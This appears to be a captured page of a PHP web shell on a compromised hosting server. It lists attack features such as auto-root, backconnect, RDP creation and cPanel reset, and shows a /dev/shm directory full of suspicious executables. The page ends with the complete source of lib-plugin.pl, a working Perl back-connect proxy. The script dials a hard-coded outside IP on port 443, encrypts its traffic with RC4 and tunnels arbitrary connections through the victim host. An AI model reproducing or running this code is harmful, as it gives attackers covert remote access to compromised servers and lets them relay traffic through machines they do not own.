Linux server220.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
: 198.54.116.164 | : 216.73.216.219
Cant Read [ /etc/named.conf ]
7.4.33
adnangch
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
dev /
shm /
[ HOME SHELL ]
Name
Size
Permission
Action
lsws
[ DIR ]
drwxr-x---
.comp
52
B
-rw-r--r--
.desc
2.55
KB
-rw-r--r--
.element
576
B
-rw-r--r--
.fac
2.53
KB
-rw-r--r--
.mad-root
0
B
-rw-r--r--
.marker
2.53
KB
-rw-r--r--
.pset
227
B
-rw-r--r--
.ptr
55
B
-rw-r--r--
.runner_04724648
4.88
MB
-rwxr-xr-x
.runner_1bacd129
4.88
MB
-rwxr-xr-x
.runner_25052f50
4.88
MB
-rwxr-xr-x
.runner_30743c9e
4.88
MB
-rwxr-xr-x
.runner_39ad75df
4.88
MB
-rwxr-xr-x
.runner_3a4fb233
4.44
MB
-rwxr-xr-x
.runner_3e696f9d
4.88
MB
-rwxr-xr-x
.runner_637dab6f
4.88
MB
-rwxr-xr-x
.runner_8653dcb9
4.88
MB
-rwxr-xr-x
.runner_8ac5c2a6
4.88
MB
-rwxr-xr-x
.runner_9054a15f
4.88
MB
-rwxr-xr-x
.runner_970056a3
4.88
MB
-rwxr-xr-x
.value
47
B
-rw-r--r--
ANBxaJANqD
0
B
-rwxr-xr-x
AYumUXIftg
0
B
-rwxr-xr-x
AZlidvWRwE
0
B
-rwxr-xr-x
AniKdBPeqn
0
B
-rwxr-xr-x
BACCdCSGIe
0
B
-rwxr-xr-x
BLjCUvmitK
0
B
-rwxr-xr-x
BMHraGgfXw
0
B
-rwxr-xr-x
BmKFbpbaJg
0
B
-rwxr-xr-x
BuqmbqhuTg
0
B
-rwxr-xr-x
ByhcMpYcor
0
B
-rwxr-xr-x
ByxrALCLwM
0
B
-rwxr-xr-x
CGzJiLbPwr
0
B
-rwxr-xr-x
CIcIqqPseX
0
B
-rwxr-xr-x
CKwwNemSVO
0
B
-rwxr-xr-x
CPbiEuwHCR
0
B
-rwxr-xr-x
CSyLnsDfAP
0
B
-rwxr-xr-x
CbYJIaKXRV
0
B
-rwxr-xr-x
CliKFyhXOh
0
B
-rwxr-xr-x
CxmTEYICta
0
B
-rwxr-xr-x
DCZNAMalNS
0
B
-rwxr-xr-x
DHgyWeivgx
0
B
-rwxr-xr-x
DaOcfkshom
0
B
-rwxr-xr-x
DfYmzoMMlY
0
B
-rwxr-xr-x
DyYmBYYrKC
0
B
-rwxr-xr-x
EESDgRWclY
0
B
-rwxr-xr-x
EKvKpYtoBh
0
B
-rwxr-xr-x
EUmbPlfLnq
0
B
-rwxr-xr-x
EiOpvmFBAZ
0
B
-rwxr-xr-x
EtgCbGFaDP
0
B
-rwxr-xr-x
FjHDBdCHZq
0
B
-rwxr-xr-x
FjibyhGYwR
0
B
-rwxr-xr-x
FovyLOUsCj
0
B
-rwxr-xr-x
FrOJSDhkYF
0
B
-rwxr-xr-x
FsVObrLVAd
0
B
-rwxr-xr-x
FtzRcQNpUi
0
B
-rwxr-xr-x
GKoXwZiEGI
0
B
-rwxr-xr-x
GNwfkrhpTY
0
B
-rwxr-xr-x
GRWTsgoCRK
0
B
-rwxr-xr-x
GWJOvhYklj
0
B
-rwxr-xr-x
GbfUbNEzeq
0
B
-rwxr-xr-x
GdRJlBQzYt
0
B
-rwxr-xr-x
GlIwPThMMN
0
B
-rwxr-xr-x
HCJfvfSZpX
0
B
-rwxr-xr-x
HgfKODqqWl
0
B
-rwxr-xr-x
HhoBHNbOEk
0
B
-rwxr-xr-x
HkSljpiPSG
0
B
-rwxr-xr-x
HmOcToUlEO
0
B
-rwxr-xr-x
HnbpvYOcbR
0
B
-rwxr-xr-x
HrPnZuISAr
0
B
-rwxr-xr-x
IFcTDgTbnq
0
B
-rwxr-xr-x
IFeiXeaNRN
0
B
-rwxr-xr-x
IGZGUmgPhR
0
B
-rwxr-xr-x
IJPuUeTAjn
0
B
-rwxr-xr-x
IKtGgSwvxh
0
B
-rwxr-xr-x
IPIsHIjpYz
0
B
-rwxr-xr-x
IbikMUDKSE
0
B
-rwxr-xr-x
IehTvqopKi
0
B
-rwxr-xr-x
InMwTQPFwj
0
B
-rwxr-xr-x
JUJCPDztoF
0
B
-rwxr-xr-x
JqWCzOxuDQ
0
B
-rwxr-xr-x
KCOUmXZHyY
0
B
-rwxr-xr-x
KPvLoDebUh
0
B
-rwxr-xr-x
KQTOHgKRpW
0
B
-rwxr-xr-x
KcJYnObWXP
0
B
-rwxr-xr-x
KdrTGHnnZz
0
B
-rwxr-xr-x
KgBYzGHGXv
0
B
-rwxr-xr-x
KgMbhUHjSL
0
B
-rwxr-xr-x
LDESLMwMVs
0
B
-rwxr-xr-x
LOnniDOEHC
0
B
-rwxr-xr-x
LblDuefDeA
0
B
-rwxr-xr-x
LhNRDvEdvE
0
B
-rwxr-xr-x
LjFQpCDFzp
0
B
-rwxr-xr-x
LlZQSFkAXY
0
B
-rwxr-xr-x
LqrcNJZDGb
0
B
-rwxr-xr-x
LumuueNQNW
0
B
-rwxr-xr-x
LxgQrvRWMo
0
B
-rwxr-xr-x
LxxLQfunOd
0
B
-rwxr-xr-x
MDapmZTHJq
8
B
-rwxr-xr-x
NBpYnuRrap
0
B
-rwxr-xr-x
NCXqhbnFys
8
B
-rwxr-xr-x
NDATWBKZGi
0
B
-rwxr-xr-x
NRnIgyQwAX
0
B
-rwxr-xr-x
NVyBePguuV
0
B
-rwxr-xr-x
NdXctCXdmd
0
B
-rwxr-xr-x
OMDUXqbJNO
0
B
-rwxr-xr-x
OYPLSqwpvr
0
B
-rwxr-xr-x
OcfhhICXgg
0
B
-rwxr-xr-x
PAQdMqhkrX
0
B
-rwxr-xr-x
PFXDoevmAz
0
B
-rwxr-xr-x
PONBoYOxBG
0
B
-rwxr-xr-x
PPngoFIAhg
0
B
-rwxr-xr-x
PTUKKSWHUJ
0
B
-rwxr-xr-x
PdWytAkgoI
0
B
-rwxr-xr-x
PmVkxEmaUF
0
B
-rwxr-xr-x
PostgreSQL.670231306
14.64
KB
-rw-------
PxFQPSSVOX
0
B
-rwxr-xr-x
PzthTSTegz
0
B
-rwxr-xr-x
QBgvPknbbm
0
B
-rwxr-xr-x
QWCZQvvCzM
0
B
-rwxr-xr-x
QXOkIsjaqY
0
B
-rwxr-xr-x
QZHcjhamiJ
0
B
-rwxr-xr-x
QbRhsZBVrN
0
B
-rwxr-xr-x
QwQUCfdzdM
0
B
-rwxr-xr-x
RMJBUtgmJA
0
B
-rwxr-xr-x
RVRZnsqgit
0
B
-rwxr-xr-x
RZlZbkaguZ
0
B
-rwxr-xr-x
RabOJzTlqY
0
B
-rwxr-xr-x
RjOjJXtgOu
0
B
-rwxr-xr-x
RlnnYBZhIx
0
B
-rwxr-xr-x
RyDAftNqQY
0
B
-rwxr-xr-x
SeLJBZVmTA
0
B
-rwxr-xr-x
SsZhQbvXLP
0
B
-rwxr-xr-x
SvLwnlkDCC
0
B
-rwxr-xr-x
TBGhIrMHYw
0
B
-rwxr-xr-x
TJdgGZEQLI
0
B
-rwxr-xr-x
TbFBCHHPGj
0
B
-rwxr-xr-x
TfBaHMZvkn
0
B
-rwxr-xr-x
TwHxmtUdSi
0
B
-rwxr-xr-x
UNJwGcKZEP
0
B
-rwxr-xr-x
UTMFqOWUzY
0
B
-rwxr-xr-x
UUaIHPwEjB
0
B
-rwxr-xr-x
UgWizUEArA
0
B
-rwxr-xr-x
VEUAUYPSLc
0
B
-rwxr-xr-x
VMbxLUCAig
0
B
-rwxr-xr-x
VhqANyyefK
0
B
-rwxr-xr-x
VvbGBIgDgt
0
B
-rwxr-xr-x
VxIFGsXnUe
0
B
-rwxr-xr-x
VyIlYKPnnq
0
B
-rwxr-xr-x
WCcRSjUODW
0
B
-rwxr-xr-x
WLtgiMFihp
0
B
-rwxr-xr-x
WNrDODXXVn
0
B
-rwxr-xr-x
WOCgajNvKk
0
B
-rwxr-xr-x
WXROVvcAEf
0
B
-rwxr-xr-x
WZnRovXGFV
0
B
-rwxr-xr-x
XMyMYHlayC
0
B
-rwxr-xr-x
XrIPgtycAT
0
B
-rwxr-xr-x
YPqtaljHNC
0
B
-rwxr-xr-x
YUHAhnqSDh
0
B
-rwxr-xr-x
YdFipzCRIU
0
B
-rwxr-xr-x
YgKJGDAmYu
0
B
-rwxr-xr-x
YiQINjcXdw
0
B
-rwxr-xr-x
ZCGLCETCZB
0
B
-rwxr-xr-x
ZHRlOMhEiB
0
B
-rwxr-xr-x
ZHolXfQlmL
0
B
-rwxr-xr-x
ZlxDxeQOtP
0
B
-rwxr-xr-x
Zoawneuhgc
0
B
-rwxr-xr-x
ZooqFGWTWM
0
B
-rwxr-xr-x
ZthaCPqSPi
0
B
-rwxr-xr-x
aITUSkOhPf
0
B
-rwxr-xr-x
aJEWYZvhjZ
0
B
-rwxr-xr-x
aRCGtyBXaN
0
B
-rwxr-xr-x
aSqioVvRza
0
B
-rwxr-xr-x
aYYGfShmJM
0
B
-rwxr-xr-x
abFPvGwpFZ
0
B
-rwxr-xr-x
adminer.php
465.43
KB
-rw-r--r--
bFwKGRXItB
0
B
-rwxr-xr-x
bhBMbCypKP
0
B
-rwxr-xr-x
cEyvEpmgZU
0
B
-rwxr-xr-x
cRVtClMJCj
0
B
-rwxr-xr-x
cTjjLHmVSj
0
B
-rwxr-xr-x
cUIVRmFhiB
0
B
-rwxr-xr-x
cezKlYJopR
0
B
-rwxr-xr-x
ciOlcHHqnA
0
B
-rwxr-xr-x
dHnuQPSmdG
0
B
-rwxr-xr-x
dneLadaYgh
0
B
-rwxr-xr-x
doRqPbrVYZ
0
B
-rwxr-xr-x
dqsyytXscg
0
B
-rwxr-xr-x
dzOGRdfEea
0
B
-rwxr-xr-x
eCMeJBOWZT
0
B
-rwxr-xr-x
eElVEnHjzD
0
B
-rwxr-xr-x
eNJzqjXEnR
0
B
-rwxr-xr-x
eWQuFZiWNf
0
B
-rwxr-xr-x
eYgLeNdkhq
0
B
-rwxr-xr-x
eeDJWjrfkL
0
B
-rwxr-xr-x
egquzpupzS
0
B
-rwxr-xr-x
fAmTmExFRs
0
B
-rwxr-xr-x
fITlyFgpeW
0
B
-rwxr-xr-x
fPhWqEieWV
0
B
-rwxr-xr-x
fcLqaXWqWV
0
B
-rwxr-xr-x
fzhqfkpLIb
0
B
-rwxr-xr-x
gJjuIWDALT
0
B
-rwxr-xr-x
gOtctyMzHY
0
B
-rwxr-xr-x
gcQryRcuVY
0
B
-rwxr-xr-x
gsdwFCvJNE
0
B
-rwxr-xr-x
guXoyeXoxS
0
B
-rwxr-xr-x
hDGYIvZaPz
0
B
-rwxr-xr-x
hbQQfiCOGG
0
B
-rwxr-xr-x
hyKrCIzSNV
0
B
-rwxr-xr-x
iWUAiFGxri
0
B
-rwxr-xr-x
iqqzTsXPcz
0
B
-rwxr-xr-x
jAdOVnzIym
0
B
-rwxr-xr-x
jBgjUxnqiP
0
B
-rwxr-xr-x
jJKXVpyTUZ
0
B
-rwxr-xr-x
jXLLNacyMv
0
B
-rwxr-xr-x
jjxZiHbTaT
0
B
-rwxr-xr-x
joArRXZsri
0
B
-rwxr-xr-x
jyNfjnidZH
0
B
-rwxr-xr-x
kZeXKQcpjr
0
B
-rwxr-xr-x
kdCFkWqElH
0
B
-rwxr-xr-x
knCoOvpTdz
0
B
-rwxr-xr-x
lAOkzSGVsQ
0
B
-rwxr-xr-x
ldbMhuHNSp
0
B
-rwxr-xr-x
lib-plugin.pl
9.03
KB
-rwxr-xr-x
llPSfMVXZr
0
B
-rwxr-xr-x
lxPvFklQyx
0
B
-rwxr-xr-x
mIjkjKvZhi
0
B
-rwxr-xr-x
mSjKroNvjC
0
B
-rwxr-xr-x
mXyAZoHslR
0
B
-rwxr-xr-x
mgJOAkNSDE
0
B
-rwxr-xr-x
mkEbtYnTeb
0
B
-rwxr-xr-x
mntDjSIdtN
0
B
-rwxr-xr-x
nSpkZwCWgl
0
B
-rwxr-xr-x
nlExAvYqOf
0
B
-rwxr-xr-x
ntkySdLUhp
0
B
-rwxr-xr-x
nvpDqmvHCU
0
B
-rwxr-xr-x
oEFHTTvgtO
0
B
-rwxr-xr-x
oHvvzTyhGX
0
B
-rwxr-xr-x
oIZvktdxON
0
B
-rwxr-xr-x
oLnlgdJWRf
0
B
-rwxr-xr-x
oMAukBbNoy
0
B
-rwxr-xr-x
oXtvaNlobT
0
B
-rwxr-xr-x
okGagjwrFU
0
B
-rwxr-xr-x
pGYDJHAxoE
0
B
-rwxr-xr-x
pLCuFpTsSO
0
B
-rwxr-xr-x
pcDNldArjB
0
B
-rwxr-xr-x
peBcotIIoX
0
B
-rwxr-xr-x
pjSPxvdwiO
0
B
-rwxr-xr-x
pmUXxjQhAk
0
B
-rwxr-xr-x
rCaOWOdAda
0
B
-rwxr-xr-x
rCsYDwQkGg
0
B
-rwxr-xr-x
rEgZAWBkXD
0
B
-rwxr-xr-x
rjlgRCTpvp
0
B
-rwxr-xr-x
rsAoNIjMlC
0
B
-rwxr-xr-x
rvirQKlVSA
0
B
-rwxr-xr-x
sKpVsUSfZR
0
B
-rwxr-xr-x
sQwUqjtzRw
0
B
-rwxr-xr-x
sijcmSLAJG
0
B
-rwxr-xr-x
suyUhkzwfK
0
B
-rwxr-xr-x
tAjthxgHHV
0
B
-rwxr-xr-x
thEBqoHXwq
0
B
-rwxr-xr-x
thuAlGeeDu
0
B
-rwxr-xr-x
tiLnMHnuWu
0
B
-rwxr-xr-x
todBwVMmpg
0
B
-rwxr-xr-x
tzXxGtwFwf
0
B
-rwxr-xr-x
uCPtVZNOPA
0
B
-rwxr-xr-x
uHkwJkovnj
0
B
-rwxr-xr-x
uaglGHEOTu
0
B
-rwxr-xr-x
ulwCIdXlzB
0
B
-rwxr-xr-x
uqINBbtdpE
0
B
-rwxr-xr-x
vFadMTwHkM
0
B
-rwxr-xr-x
vbriBEzJIT
0
B
-rwxr-xr-x
vogQdgPcZO
0
B
-rwxr-xr-x
vpsXIlzCuD
0
B
-rwxr-xr-x
wAuITrQovh
0
B
-rwxr-xr-x
wCvHSFZRBZ
0
B
-rwxr-xr-x
wDKYwUfWGE
0
B
-rwxr-xr-x
wGmucYhawt
0
B
-rwxr-xr-x
wKJGZUdrPk
0
B
-rwxr-xr-x
wLutmJzHlm
0
B
-rwxr-xr-x
wPQlCmGknI
0
B
-rwxr-xr-x
wRTpxQGHrP
0
B
-rwxr-xr-x
waFZcAuXZt
0
B
-rwxr-xr-x
wcdnIBJxmZ
0
B
-rwxr-xr-x
xUrWzqooOX
0
B
-rwxr-xr-x
xZrRgUtpwy
0
B
-rwxr-xr-x
xdGkIwANyT
0
B
-rwxr-xr-x
yDChpuVJFo
0
B
-rwxr-xr-x
yLNgWolOtF
0
B
-rwxr-xr-x
yXGhBSBJtM
0
B
-rwxr-xr-x
yZIyWaVsoC
0
B
-rwxr-xr-x
yaadYXucrW
0
B
-rwxr-xr-x
yymCQxLRbq
0
B
-rwxr-xr-x
zEldyZFcsQ
0
B
-rwxr-xr-x
zExwzxFTYa
0
B
-rwxr-xr-x
zhkBvpLOgQ
0
B
-rwxr-xr-x
zkOlLRCPim
0
B
-rwxr-xr-x
zlAZMvsGyv
0
B
-rwxr-xr-x
zqHnWjyETi
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lib-plugin.pl
#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.159'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port);
Close